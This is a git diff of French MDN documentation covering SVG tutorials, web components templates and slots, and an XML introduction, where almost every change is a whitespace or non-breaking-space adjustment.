id="Gradient1"> + <stop offset="5%" stop-color="white"/> + <stop offset="95%" stop-color="blue"/> + </linearGradient> + <linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1"> + <stop offset="5%" stop-color="red"/> + <stop offset="95%" stop-color="orange"/> + </linearGradient> + + <pattern id="Pattern" width=".25" height=".25" patternContent + <rect x="0" y="0" width=".25" height=".25" fill="skyblue"/> + <rect x="0" y="0" width=".125" height=".125" fill="url(#Gradient2)"/> + <circle cx=".125" cy=".125" r=".1" fill="url(#Gradient1)" fill-opacity="0.5"/> + </pattern> + </defs> + + <rect fill="url(#Pattern)" stroke="black" width="200" height="200"/> </svg> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> rect.setAttribute('width', 300);</textarea> @@ -208,29 +208,29 @@ Bien sûr, cela veut dire que le motif ne sera pas mis à l'échelle si vous mod ```html hidden <svg width="600" height="200" xmlns="http://www.w3.org/2000/svg" id="svg" class="playable-svg"> - <defs> - <linearGradient id="Gradient1"> - <stop offset="5%" stop-color="white"/> - <stop offset="95%" stop-color="blue"/> - </linearGradient> - <linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1"> - <stop offset="5%" stop-color="red"/> - <stop offset="95%" stop-color="orange"/> - </linearGradient> - - <pattern id="Pattern" x="10" y="10" width="50" height="50" patternUnits="userSpaceOnUse"> - <rect x="0" y="0" width="50" height="50" fill="skyblue"/> - <rect x="0" y="0" width="25" height="25" fill="url(#Gradient2)"/> - <circle cx="25" cy="25" r="20" fill="url(#Gradient1)" fill-opacity="0.5"/> - </pattern> - </defs> - - <rect fill="url(#Pattern)" stroke="black" width="200" height="200"/> + <defs> + <linearGradient id="Gradient1"> + <stop offset="5%" stop-color="white"/> + <stop offset="95%" stop-color="blue"/> + </linearGradient> + <linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1"> + <stop offset="5%" stop-color="red"/> + <stop offset="95%" stop-color="orange"/> + </linearGradient> + + <pattern id="Pattern" x="10" y="10" width="50" height="50" + <rect x="0" y="0" width="50" height="50" fill="skyblue"/> + <rect x="0" y="0" width="25" height="25" fill="url(#Gradient2)"/> + <circle cx="25" cy="25" r="20" fill="url(#Gradient1)" fill-opacity="0.5"/> + </pattern> + </defs> + + <rect fill="url(#Pattern)" stroke="black" width="200" height="200"/> </svg> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> rect.setAttribute('width', 300);</textarea> diff --git a/files/fr/web/svg/tutorial/svg_and_css/index.md b/files/fr/web/svg/tutorial/svg_and_css/index.md index c89a4edf3d..aa54e0b787 100644 --- a/files/fr/web/svg/tutorial/svg_and_css/index.md +++ b/files/fr/web/svg/tutorial/svg_and_css/index.md @@ -39,7 +39,7 @@ Créez un nouveau document SVG en tant que fichier texte brut, `doc.svg`. Copiez </defs> <text id="heading" x="-280" y="-270">Démonstration SVG</text> -<text id="caption" x="-280" y="-250">Déplacez le pointeur de +<text id="caption" x="-280" y="-250">Déplacez le pointeur de votre souris sur la fleur.</text> <g id="flower"> @@ -423,7 +423,7 @@ Voici comment se présente la structure du document SVG désormais. </defs> <text id="heading" x="-280" y="-270">Démonstration SVG</text> - <text id="caption" x="-280" y="-250">Déplacez le pointeur de votre souris sur la fleur.</text> + <text id="caption" x="-280" y="-250">Déplacez le pointeur de votre souris sur la fleur.</text> <g id="flower"> <circle id="overlay" cx="0" cy="0" r="200" stroke="none" fill="url(#fade)"/> diff --git a/files/fr/web/svg/tutorial/svg_fonts/index.md b/files/fr/web/svg/tutorial/svg_fonts/index.md index 89ee876a72..94fa8d0d03 100644 --- a/files/fr/web/svg/tutorial/svg_fonts/index.md +++ b/files/fr/web/svg/tutorial/svg_fonts/index.md @@ -39,7 +39,7 @@ Quelques ingrédients sont nécessaires pour intégrer une police en SVG. Prenon Nous commençons avec l'élement {{ SVGElement("font") }}. Il contient un attribut id, ce qui permet de le référencer via une URI (voir plus bas). L'attribut `horiz-adv-x` définit sa largeur moyenne, comparée aux définitions des autres glyphes individules. La valeur 1000 définit une valeur raisonnable. Plusieurs autres attributs associés précisent l'affichage de la boite qui encapsule le glyphe. -L'élément {{ SVGElement("font-face") }} est l'équivalent SVG de la déclaration CSS [`@font-face`](/fr/CSS/@font-face "en/css/@font-face"). Il définit les propriétés de base de la police finale, telles que 'weight', 'style', etc. Dans l'exemple ci-dessus, la première et la plus importante est `font-family` : Elle pourra alors être référencée via la propriété `font-family` présente dans les CSS et les SVG. Les attributs `font-weight` et `font-style` ont la même fonction que leurs équivalents CSS. Les attributs suivants sont des instructions de rendu, pour le moteur d'affichage des polices ; par exemple : quelle est la taille des jambages supérieurs des glyphes ([ascenders](http://en.wikipedia.org/wiki/Ascender_%28typography%29)). +L'élément {{ SVGElement("font-face") }} est l'équivalent SVG de la déclaration CSS [`@font-face`](/fr/CSS/@font-face "en/css/@font-face"). Il définit les propriétés de base de la police finale, telles que 'weight', 'style', etc. Dans l'exemple ci-dessus, la première et la plus importante est `font-family` : Elle pourra alors être référencée via la propriété `font-family` présente dans les CSS et les SVG. Les attributs `font-weight` et `font-style` ont la même fonction que leurs équivalents CSS. Les attributs suivants sont des instructions de rendu, pour le moteur d'affichage des polices ; par exemple : quelle est la taille des jambages supérieurs des glyphes ([ascenders](http://en.wikipedia.org/wiki/Ascender_%28typography%29)). Its child, the {{ SVGElement("font-face-src") }} element, corresponds to CSS' `src` descriptor in `@font-face` declarations. You can point to external sources for font declarations by means of its children {{ SVGElement("font-face-name") }} and {{ SVGElement("font-face-uri") }}. The above example states that if the renderer has a local font available named "Super Sans Bold", it should use this instead. diff --git a/files/fr/web/svg/tutorial/svg_image_tag/index.md b/files/fr/web/svg/tutorial/svg_image_tag/index.md index 5070f36eca..b74d927031 100644 --- a/files/fr/web/svg/tutorial/svg_image_tag/index.md +++ b/files/fr/web/svg/tutorial/svg_image_tag/index.md @@ -12,7 +12,7 @@ original_slug: Web/SVG/Tutoriel/SVG_Image_Tag L'élément SVG {{ SVGElement("image") }} permet d'afficher des images pixélisées au sein d'un objet SVG. -Dans cet exemple basique, une image JPG liée par l'attribut {{ SVGAttr("xlink:href") }} sera rendue à l'intérieur d'un objet SVG. +Dans cet exemple basique, une image JPG liée par l'attribut {{ SVGAttr("xlink:href") }} sera rendue à l'intérieur d'un objet SVG. ```xml <?xml version="1.0" standalone="no"?> @@ -27,7 +27,7 @@ Dans cet exemple basique, une image JPG liée par l'attribut {{ SVGAttr("xlink: Il faut prendre note de quelques point essentiels (donnés par les [spécifications W3](http://www.w3.org/TR/SVG/struct.html#ImageElement)): - Si les attributs x ou y ne sont pas spécifiés, ils vaudront 0. -- Si les attributs height ou width ne sont pas spécifiés, ils vaudront 0. +- Si les attributs height ou width ne sont pas spécifiés, ils vaudront 0. - Si l'attribut height ou l'attribut width est initialisé à 0, cela désactivera l'affichage de l'image. {{ PreviousNext("Web/SVG/Tutoriel/polices_SVG", "Web/SVG/Tutoriel/Tools_for_SVG") }} diff --git a/files/fr/web/svg/tutorial/svg_in_html_introduction/index.md b/files/fr/web/svg/tutorial/svg_in_html_introduction/index.md index 4f28884c41..a68c21f6d2 100644 --- a/files/fr/web/svg/tutorial/svg_in_html_introduction/index.md +++ b/files/fr/web/svg/tutorial/svg_in_html_introduction/index.md @@ -56,12 +56,12 @@ Voici le code source de cet exemple : ### Discussion -La page est principalement formée de XHTML, CSS et JavaScript classiques. La seule partie intéressante est le contenu de l'élément \<svg>. Cet élément et ses fils sont déclarés comme étant dans l'espace de nommage SVG. L'élément contient un gradient et deux formes remplies avec le gradient. Les bornes de couleurs du gradient sont définies par une classe CSS. Lorsque l'utilisateur saisit quelque chose d'incorrect dans le formulaire, le script affecte l'attribut `invalid` à la balise \<body> et une règle de style modifie la couleur `end-stop` du gradient en rouge en lui donnant la valeur « red » (Une autre règle de style sert à faire apparaître un message d'erreur). +La page est principalement formée de XHTML, CSS et JavaScript classiques. La seule partie intéressante est le contenu de l'élément \<svg>. Cet élément et ses fils sont déclarés comme étant dans l'espace de nommage SVG. L'élément contient un gradient et deux formes remplies avec le gradient. Les bornes de couleurs du gradient sont définies par une classe CSS. Lorsque l'utilisateur saisit quelque chose d'incorrect dans le formulaire, le script affecte l'attribut `invalid` à la balise \<body> et une règle de style modifie la couleur `end-stop` du gradient en rouge en lui donnant la valeur « red » (Une autre règle de style sert à faire apparaître un message d'erreur). -Cette approche bénéficie des points suivants en sa faveur : +Cette approche bénéficie des points suivants en sa faveur : - Nous avons choisi un formulaire XHTML classique qui pourrait faire partie d'un site Web existant, et lui avons ajouté un fond attractif et interactif -- L'approche assure une rétro-compatibilité pour les navigateurs qui ne supportent pas SVG ; simplement, aucun fond n'apparaîtra pour eux +- L'approche assure une rétro-compatibilité pour les navigateurs qui ne supportent pas SVG ; simplement, aucun fond n'apparaîtra pour eux - Elle est très simple et remplit sa fonction parfaitement - L'image se redimensionne automatiquement à la taille requise de manière intelligente - Nous pouvons avoir des déclarations de styles appliquées à la fois sur le HTML et le SVG diff --git a/files/fr/web/svg/tutorial/texts/index.md b/files/fr/web/svg/tutorial/texts/index.md index 86942d29c4..6896555e2c 100644 --- a/files/fr/web/svg/tutorial/texts/index.md +++ b/files/fr/web/svg/tutorial/texts/index.md @@ -93,9 +93,9 @@ Cet élément récupère via son attribut `xlink:href` un chemin arbitraire et a ```xml <path id="my_path" d="M 20,20 C 80,60 100,40 120,20" fill="transparent" /> <text> - <textPath xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#my_path"> - A curve. - </textPath> + <textPath xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#my_path"> + A curve. + </textPath> </text> ``` @@ -105,9 +105,9 @@ Cet élément récupère via son attribut `xlink:href` un chemin arbitraire et a <svg width="200" height="100" xmlns="http://www.w3.org/2000/svg"> <path id="my_path" d="M 20,20 C 80,60 100,40 120,20" fill="transparent" /> <text> - <textPath xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#my_path"> - A curve. - </textPath> + <textPath xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#my_path"> + A curve. + </textPath> </text> <style>< -L'un des outils fondamentaux pour travailler un format graphique est un logiciel de dessin performant. Inkscape permet de faire du dessin vectoriel, il est mis à jour régulièrement, et a le mérite d'être open source. +L'un des outils fondamentaux pour travailler un format graphique est un logiciel de dessin performant. Inkscape permet de faire du dessin vectoriel, il est mis à jour régulièrement, et a le mérite d'être open source. -Il utilise le SVG comme format natif, et l'étend avec des éléments et attributs définis dans un espace de nommage spécifique. On peut aussi choisir un export au format SVG standard. +Il utilise le SVG comme format natif, et l'étend avec des éléments et attributs définis dans un espace de nommage spécifique. On peut aussi choisir un export au format SVG standard. ## Adobe Illustrator URL: [www.adobe.com/products/illustrator/](http://www.adobe.com/products/illustrator/) -Avant de racheter Macromedia, Adobe était le plus ardent défenseur de SVG. C'est de cette époque que date le bon support du SVG dans Illustrator. Cependant, le code généré comporte souvent des bizarreries, qui obligent à le retraiter pour pouvoir l'utiliser en dehors d'Illustrator. +Avant de racheter Macromedia, Adobe était le plus ardent défenseur de SVG. C'est de cette époque que date le bon support du SVG dans Illustrator. Cependant, le code généré comporte souvent des bizarreries, qui obligent à le retraiter pour pouvoir l'utiliser en dehors d'Illustrator. ## Apache Batik URL: [xmlgraphics.apache.org/batik/](http://xmlgraphics.apache.org/batik/) -Batik est un ensemble d'outils open source proposés par Apache Software Foundation. La boite à outils est codée en Java et assure un support quasi intégral de SVG 1.1, ainsi que certaines des fonctionnalités qui étaient prévues à l'origine pour SVG 1.2. +Batik est un ensemble d'outils open source proposés par Apache Software Foundation. La boite à outils est codée en Java et assure un support quasi intégral de SVG 1.1, ainsi que certaines des fonctionnalités qui étaient prévues à l'origine pour SVG 1.2. -En plus d'un outil de visualisation (Squiggle) et d'un moteur d'aplatissement des calques pour l'export en PNG, Batik propose aussi un outil de formatage du code SVG, ainsi qu'un convertisseur de typographie TrueType vers SVG. +En plus d'un outil de visualisation (Squiggle) et d'un moteur d'aplatissement des calques pour l'export en PNG, Batik propose aussi un outil de formatage du code SVG, ainsi qu'un convertisseur de typographie TrueType vers SVG. -Utilisé avec [Apache FOP](http://xmlgraphics.apache.org/fop/), il permet également de transformer du SVG en PDF. +Utilisé avec [Apache FOP](http://xmlgraphics.apache.org/fop/), il permet également de transformer du SVG en PDF. ### Autres moteurs de rendu -Il existe plusieurs projets qui permettent d'exporter une image tramée à partie d'une source SVG. [ImageMagick](http://ImageMagick.org) est l'un des outils les plus connus de traitement des images en ligne de commande. Wikipédia utilise la librairie de code Gnome [rsvg](http://library.gnome.org/devel/rsvg/) pour le rendu de ses images SVG. +Il existe plusieurs projets qui permettent d'exporter une image tramée à partie d'une source SVG. [ImageMagick](http://ImageMagick.org) est l'un des outils les plus connus de traitement des images en ligne de commande. Wikipédia utilise la librairie de code Gnome [rsvg](http://library.gnome.org/devel/rsvg/) pour le rendu de ses images SVG. ## Raphael JS URL: [raphaeljs.com](http://raphaeljs.com/) -Raphaël est un framework javascript, qui propose une couche d'abstraction pour les différentes implémentations des navigateurs. Les vieilles versions d'Internet Explorer sont supportées grace à la génération de code VML, un langage de balisage vectoriel, qui est l'un des ancêtres de SVG et existe depuis IE 5.5. +Raphaël est un framework javascript, qui propose une couche d'abstraction pour les différentes implémentations des navigateurs. Les vieilles versions d'Internet Explorer sont supportées grace à la génération de code VML, un langage de balisage vectoriel, qui est l'un des ancêtres de SVG et existe depuis IE 5.5. ## Snap.svg -URL: [snapsvg.io](http://snapsvg.io/) +URL: [snapsvg.io](http://snapsvg.io/) Une nouvelle couche d'abstraction JavaScript, plus récent, du même auteur que Raphael JS. Snap.svg est conçu pour les navigateurs modernes et prend donc en charge les dernières fonctionnalités SVG telles que la masquage, le découpage, les motifs, gradients et groupes. Il ne supporte pas les anciens navigateurs, contrairement à Raphael. @@ -56,16 +56,16 @@ Une nouvelle couche d'abstraction JavaScript, plus récent, du même auteur que URL: [www.google.com/google-d-s/drawings/](http://www.google.com/google-d-s/drawings/) -Les dessins réalisés dans Google Docs peuvent être exportés en SVG. +Les dessins réalisés dans Google Docs peuvent être exportés en SVG. ## Science -Les fameux outils d'analyse de données xfig and gnuplot supportent l'export en SVG. Pour le rendu de graphiques sur le web [JSXGraph](http://jsxgraph.uni-bayreuth.de/wp/) supporte VML, SVG et canvas, proposant automatiquement l'un ou l'autre en fonction du support des navigateurs. +Les fameux outils d'analyse de données xfig and gnuplot supportent l'export en SVG. Pour le rendu de graphiques sur le web [JSXGraph](http://jsxgraph.uni-bayreuth.de/wp/) supporte VML, SVG et canvas, proposant automatiquement l'un ou l'autre en fonction du support des navigateurs. -SVG est souvent utilisé dans les applications GIS (Geographic Information System) à la fois comme format de stockage et de rendu. Cf [carto.net](http://carto.net) pour davantage de détails. +SVG est souvent utilisé dans les applications GIS (Geographic Information System) à la fois comme format de stockage et de rendu. Cf [carto.net](http://carto.net) pour davantage de détails. ## Autres outils -Le W3C propose une [liste des programmes](http://www.w3.org/Graphics/SVG/WG/wiki/Implementations) qui supportent le SVG. +Le W3C propose une [liste des programmes](http://www.w3.org/Graphics/SVG/WG/wiki/Implementations) qui supportent le SVG. {{ PreviousNext("Web/SVG/Tutoriel/SVG_Image_Tag") }} diff --git a/files/fr/web/web_components/using_templates_and_slots/index.md b/files/fr/web/web_components/using_templates_and_slots/index.md index 22917977ac..7c08407f11 100644 --- a/files/fr/web/web_components/using_templates_and_slots/index.md +++ b/files/fr/web/web_components/using_templates_and_slots/index.md @@ -12,7 +12,7 @@ Cet article explique comment utiliser les éléments [`<template>`](/fr/docs/Web Lorsqu'une structure de balises se répète sur une page web, il est judicieux d'utiliser un modèle plutôt que d'écrire cette même structure encore et encore. Il était déjà possible de le faire, mais l'élément HTML [`<template>`](/fr/docs/Web/HTML/Element/template) (pris en charge par les navigateurs modernes) nous facilite la tâche. Cet élément et ce qu'il renferme n'est pas directement retranscrit dans le DOM, mais peut par contre toujours être manipulé avec JavaScript. -Voyons un exemple simple : +Voyons un exemple simple : ```html <template id="my-paragraph"> @@ -20,7 +20,7 @@ Voyons un exemple simple : </template> ``` -Ceci restera invisible sur la page tant qu'aucune référence n'y sera faite dans le code JavaScript puis ajouté au DOM, en utilisant par exemple : +Ceci restera invisible sur la page tant qu'aucune référence n'y sera faite dans le code JavaScript puis ajouté au DOM, en utilisant par exemple : ```js let template = document.getElementById('my-paragraph'); @@ -32,7 +32,7 @@ Quoique trivial, cet exemple vous permet d'entrevoir l'interêt d'utiliser des m ## Accorder modèles et composants web -Les modèles sont utiles en eux-mêmes, mais ils fonctionnent encore mieux avec des composants web. Créons un composant web qui utilise notre modèle comme contenu de son Shadow DOM. Nous l'appellerons `<my-paragraph>` : +Les modèles sont utiles en eux-mêmes, mais ils fonctionnent encore mieux avec des composants web. Créons un composant web qui utilise notre modèle comme contenu de son Shadow DOM. Nous l'appellerons `<my-paragraph>` : ```js customElements.define('my-paragraph', @@ -52,7 +52,7 @@ Le point important à noter est que l'on ajoute un clone du contenu du modèle Et parce que nous ajoutons son contenu à un Shadow DOM, on peut inclure des informations de mise en forme à l'intérieur de l'élément `<template>` dans un élément [`<style>`](/fr/docs/Web/HTML/Element/style), qui est ensuite encapsulé à l'intérieur de l'élément personnalisé. Cette procédure n'aurait pas fonctionné si on avait ajouté le contenu à un DOM standard. -Par exemple : +Par exemple : ```html <template id="my-paragraph"> @@ -73,15 +73,15 @@ On peut maintenant utiliser le modèle dans le document HTML: <my-paragraph></my-paragraph> ``` -> **Note :** Les modèles sont bien pris en charge par les navigateurs ; l'API Shadow DOM est pris en charge par défaut dans Firefox (à partir de la version 63), Chrome, Opera, Safari et Edge (à partir de la version 70). +> **Note :** Les modèles sont bien pris en charge par les navigateurs ; l'API Shadow DOM est pris en charge par défaut dans Firefox (à partir de la version 63), Chrome, Opera, Safari et Edge (à partir de la version 70). ## Plus de flexibilité avec les slots -Jusque-là, nous avons vu une première utilisation de l'élément `<template>`. Cette implémentation n'est pas très flexible ; elle ne permet d'afficher que du texte, c'est-à-dire qu'il est aussi utile qu'un paragraphe classique ! Il est possible d'insérer du texte dans chaque instance d'élément de façon déclarative grâce à [`<slot>`](/fr/docs/Web/HTML/Element/slot). Cette fonction est moins bien prise en charge que [`<template>`](/fr/docs/Web/HTML/Element/template), disponible sur Chrome 53, Opera 40, Safari 10, Firefox 59 et Edge 79. +Jusque-là, nous avons vu une première utilisation de l'élément `<template>`. Cette implémentation n'est pas très flexible ; elle ne permet d'afficher que du texte, c'est-à-dire qu'il est aussi utile qu'un paragraphe classique ! Il est possible d'insérer du texte dans chaque instance d'élément de façon déclarative grâce à [`<slot>`](/fr/docs/Web/HTML/Element/slot). Cette fonction est moins bien prise en charge que [`<template>`](/fr/docs/Web/HTML/Element/template), disponible sur Chrome 53, Opera 40, Safari 10, Firefox 59 et Edge 79. Les emplacements (<i lang="en">slots</i>) sont identifiés par leur attribut `name`, et permettent de définir des emplacements dans le modèle qui peuvent être alimentés avec n'importe quelle structure HTML. -Donc, si on souhaite ajouter un emplacement dans le précédent exemple, on peut modifier l'élément de cette façon : +Donc, si on souhaite ajouter un emplacement dans le précédent exemple, on peut modifier l'élément de cette façon : ```html <p><slot name="my-text">Texte par défaut</slot></p> @@ -89,7 +89,7 @@ Donc, si on souhaite ajouter un emplacement dans le précédent exemple, on peut Si le contenu de l'emplacement n'est pas défini quand l'élément est inclus dans la page, ou si les emplacements ne sont pas pris en charge par le navigateur, `<my-paragraph>` contiendra simplement le texte statique précisé dans le modèle. -Pour définir le contenu de l'emplacement, on insère une structure HTML dans `<my-paragraph>` avec un attribut [`slot`](/fr/docs/Web/HTML/Global_attributes#slot) dont la valeur est égale au nom de l'emplacement que l'on veut alimenter. Comme précédemment, on peut utiliser n'importe quelle structure HTML, par exemple : +Pour définir le contenu de l'emplacement, on insère une structure HTML dans `<my-paragraph>` avec un attribut [`slot`](/fr/docs/Web/HTML/Global_attributes#slot) dont la valeur est égale au nom de l'emplacement que l'on veut alimenter. Comme précédemment, on peut utiliser n'importe quelle structure HTML, par exemple : ```html <my-paragraph> @@ -116,7 +116,7 @@ Et c'est tout pour ce premier exemple. Si vous souhaitez manipuler les emplaceme Pour finir, voyons un exemple un peu moins trivial. -L'ensemble de fragments de code qui suit illustre comment utiliser [`<slot>`](/fr/docs/Web/HTML/Element/slot) avec [`<template>`](/fr/docs/Web/HTML/Element/template) et un peu de JavaScript afin de : +L'ensemble de fragments de code qui suit illustre comment utiliser [`<slot>`](/fr/docs/Web/HTML/Element/slot) avec [`<template>`](/fr/docs/Web/HTML/Element/template) et un peu de JavaScript afin de : - Créer un élément **`<element-details>`** avec des [emplacements nommés](/fr/docs/Web/HTML/Element/slot#named-slot) à [la racine virtuelle (`ShadowRoot`)](/fr/docs/Web/API/ShadowRoot) - Concevoir l'élément **`<element-details>`** afin que, lorsqu'il est utilisé dans les documents, il soit rendu en composant le contenu de l'élément avec le contenu de [la racine virtuelle](/fr/docs/Web/API/ShadowRoot). Autrement dit, les parties du contenu de l'élément seront utilisées afin de remplir [les emplacements nommés](/fr/docs/Web/HTML/Element/slot#named-slot) dans sa [racine virtuelle](/fr/docs/Web/API/ShadowRoot) @@ -129,7 +129,7 @@ De plus, même si l'élément n'est pas déjà rendu, le rôle de conteneur port ### Créer un modèle avec des emplacements -Tout d'abord, on utilise l'élément [`<slot>`](/fr/docs/Web/HTML/Element/slot) au sein d'un élément [`<template>`](/fr/docs/Web/HTML/Element/template) afin de créer notre nouveau [fragment de document](/fr/docs/Web/API/DocumentFragment) "element-details-template" qui contient quelques [emplacements nommés](/fr/docs/Web/HTML/Element/slot#named-slot) : +Tout d'abord, on utilise l'élément [`<slot>`](/fr/docs/Web/HTML/Element/slot) au sein d'un élément [`<template>`](/fr/docs/Web/HTML/Element/template) afin de créer notre nouveau [fragment de document](/fr/docs/Web/API/DocumentFragment) "element-details-template" qui contient quelques [emplacements nommés](/fr/docs/Web/HTML/Element/slot#named-slot) : ```html <template id="element-details-template"> @@ -159,10 +159,10 @@ Tout d'abord, on utilise l'élément [`<slot>`](/fr/docs/Web/HTML/Element/slot) </template> ``` -Voyons les caractéristiques de cet élément [`<template>`](/fr/docs/Web/HTML/Element/template) : +Voyons les caractéristiques de cet élément [`<template>`](/fr/docs/Web/HTML/Element/template) : - Ce [`<template>`](/fr/docs/Web/HTML/Element/template) contient un élément [`<style>`](/fr/docs/Web/HTML/Element/style) avec un ensemble de règles CSS dont la portée est celle du fragment de document créé par l'élément [`<template>`](/fr/docs/Web/HTML/Element/template). -- Ce [`<template>`](/fr/docs/Web/HTML/Element/template) utilise un élément [`<slot>`](/fr/docs/Web/HTML/Element/slot) et l'attribut [`name`](/fr/docs/Web/HTML/Element/slot#attr-name) correspondant afin d'avoir trois [emplacements nommés](/fr/docs/Web/HTML/Element/slot#named-slot) : +- Ce [`<template>`](/fr/docs/Web/HTML/Element/template) utilise un élément [`<slot>`](/fr/docs/Web/HTML/Element/slot) et l'attribut [`name`](/fr/docs/Web/HTML/Element/slot#attr-name) correspondant afin d'avoir trois [emplacements nommés](/fr/docs/Web/HTML/Element/slot#named-slot) : - `<slot name="element-name">` - `<slot name="description">` @@ -191,7 +191,7 @@ customElements.define('element-details', ### Utiliser l'élément element-details avec les emplacements nommés -Prenons maintenant un élément **`<element-details>`** et utilisons le dans notre document : +Prenons maintenant un élément **`<element-details>`** et utilisons le dans notre document : ```html <element-details> @@ -215,7 +215,7 @@ Prenons maintenant un élément **`<element-details>`** et utilisons le dans not </element-details> ``` -En voyant ce fragment, notons quelques points : +En voyant ce fragment, notons quelques points : - Ce fragment contient deux exemplaires **`<element-details>`** qui utilisent tous les deux l'attribut [`slot`](/fr/docs/Web/HTML/Global_attributes#slot) afin de référencer [les emplacements nommés](/fr/docs/Web/HTML/Element/slot#named-slot) `"element-name"` et `"description"` qui sont inscrits dans [la racine virtuelle](/fr/docs/Web/API/ShadowRoot) `<element-details>`. - Seul le premier élément **`<element-details>`** fait référence à [l'emplacement nommé](/fr/docs/Web/HTML/Element/slot#named-slot) `"attributes"`. Le deuxième élément `<element-details>` n'y fait pas référence. @@ -223,7 +223,7 @@ En voyant ce fragment, notons quelques points : ### Mettre le tout en forme -Pour finir, ajoutons un peu de CSS pour les éléments [`<dl>`](/fr/docs/Web/HTML/Element/dl), [`<dt>`](/fr/docs/Web/HTML/Element/dt) et [`<dd>`](/fr/docs/Web/HTML/Element/dd) de notre document : +Pour finir, ajoutons un peu de CSS pour les éléments [`<dl>`](/fr/docs/Web/HTML/Element/dl), [`<dt>`](/fr/docs/Web/HTML/Element/dt) et [`<dd>`](/fr/docs/Web/HTML/Element/dd) de notre document : ```css dl { margin-left: 6px; } @@ -242,7 +242,7 @@ Assemblons l'ensemble des fragments pour voir le résultat final. {{ EmbedLiveSample('Un_exemple_plus_complexe', '300','400','element-details.png','') }} -Quelques notes à propos du résultat affiché : +Quelques notes à propos du résultat affiché : - Bien que les exemplaires des éléments **`<element-details>`** du document n'utilisent pas directement d'élément [`<details>`](/fr/docs/Web/HTML/Element/details), ils sont rendus comme celui-ci, car [`<details>`](/fr/docs/Web/HTML/Element/details) [la racine virtuelle](/fr/docs/Web/API/ShadowRoot) les peuple avec ceci. - Au sein de l'élément [`<details>`](/fr/docs/Web/HTML/Element/details) affiché, le contenu des éléments **`<element-details>`** remplit [les emplacements nommés](/fr/docs/Web/HTML/Element/slot#named-slot) de [la racine virtuelle](/fr/docs/Web/API/ShadowRoot). Autrement dit, l'arbre du DOM pour les éléments **`<element-details>`** est composé avec le contenu [de la racine virtuelle](/fr/docs/Web/API/ShadowRoot). diff --git a/files/fr/web/xml/xml_introduction/index.md b/files/fr/web/xml/xml_introduction/index.md index 4fc1f9603c..91a66a066f 100644 --- a/files/fr/web/xml/xml_introduction/index.md +++ b/files/fr/web/xml/xml_introduction/index.md @@ -12,15 +12,15 @@ XML, pour _e**X**tensible **M**arkup **L**anguage_ (langage de balisage extensib De nombreux autres langages sont basés sur XML, comme par exemple [XHTML](fr/XHTML), [MathML](fr/MathML), [SVG](fr/SVG), [XUL](fr/XUL), [XBL](fr/XBL), [RSS](fr/RSS) et [RDF](fr/RDF). Vous pouvez créer votre propre langage basé sur XML. -### Du XML « correct » (valide et « bien formé ») +### Du XML « correct » (valide et « bien formé ») -Pour être correct, un document XML doit être « bien formé », se conformer à toutes les règles de syntaxe du XML, et « valide », se conformer aux règles d'un langage spécifique. +Pour être correct, un document XML doit être « bien formé », se conformer à toutes les règles de syntaxe du XML, et « valide », se conformer aux règles d'un langage spécifique. La plupart des navigateurs, dont Mozilla, offrent un outil de validation qui informera souvent lors de la lecture ou de l'affichage de documents mal formés. #### Exemple -Voici un exemple de document mal formé : un des éléments possédant une balise d'ouverture, `<warning>`, n'a pas de balise de fermeture et ce n'est pas un élément vide (ou auto-fermant comme les balises \<br /> ou \<img /> en XHTML). +Voici un exemple de document mal formé : un des éléments possédant une balise d'ouverture, `<warning>`, n'a pas de balise de fermeture et ce n'est pas un élément vide (ou auto-fermant comme les balises \<br /> ou \<img /> en XHTML). <code> <message> @@ -29,7 +29,7 @@ Voici un exemple de document mal formé : un des éléments possédant une bali </message> </code> -L'exemple qui suit est correct et « bien formé » : +L'exemple qui suit est correct et « bien formé » : <code> <message> @@ -43,7 +43,7 @@ Pour être valide, un document doit se conformer à des règles sémantiques qui ### Entités -Comme le [HTML](fr/HTML), le **XML** fournit des méthodes (appelées entités) pour se référer à certains caractères spéciaux réservés (tel que le signe « plus grand que » utilisé pour les balises). Il faut connaître 5 de ces caractères spéciaux : +Comme le [HTML](fr/HTML), le **XML** fournit des méthodes (appelées entités) pour se référer à certains caractères spéciaux réservés (tel que le signe « plus grand que » utilisé pour les balises). Il faut connaître 5 de ces caractères spéciaux : <table class="standard-table"> <tbody> @@ -55,12 +55,12 @@ Comme le [HTML](fr/HTML), le **XML** fournit des méthodes (appelées entités) <tr> <td><code>&lt;</code></td> <td><code><</code></td> - <td>Un signe « plus petit que ».</td> + <td>Un signe « plus petit que ».</td> </tr> <tr> <td><code>&gt;</code></td> <td><code>></code></td> - <td>Un signe « plus grand que ».</td> + <td>Un signe « plus grand que ».</td> </tr> <tr> <td><code>&amp;</code></td> @@ -80,11 +80,11 @@ Comme le [HTML](fr/HTML), le **XML** fournit des méthodes (appelées entités) </tbody> </table> -Même s'il n'y a que 5 entités déclarées, il est possible d'en ajouter d'autres grâce à la [Document Type Definition](fr/DTD), comme décrit ci-dessous : +Même s'il n'y a que 5 entités déclarées, il est possible d'en ajouter d'autres grâce à la [Document Type Definition](fr/DTD), comme décrit ci-dessous : <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE body [ - <!ENTITY warning "Avertissement : Quelque chose ne fonctionne pas correctement… + <!ENTITY warning "Avertissement : Quelque chose ne fonctionne pas correctement… Veuillez rafraîchir et réessayer."> ]> <body> @@ -107,11 +107,11 @@ L'autre technique utilise la puissance de [XSLT](fr/XSLT), qui est capable de tr ### Recommandations -Cet article n'est qu'une introduction rapide à XML ; pour plus de détails, parcourez le Web à la recherche d'articles allant plus en profondeur. +Cet article n'est qu'une introduction rapide à XML ; pour plus de détails, parcourez le Web à la recherche d'articles allant plus en profondeur. L'apprentissage du langage de balisage HTML vous aidera à mieux comprendre XML. Vous trouverez également plus d'informations en explorant le Mozilla Developer Center. -Voici une liste d'articles de référence sur le Web : +Voici une liste d'articles de référence sur le Web : - 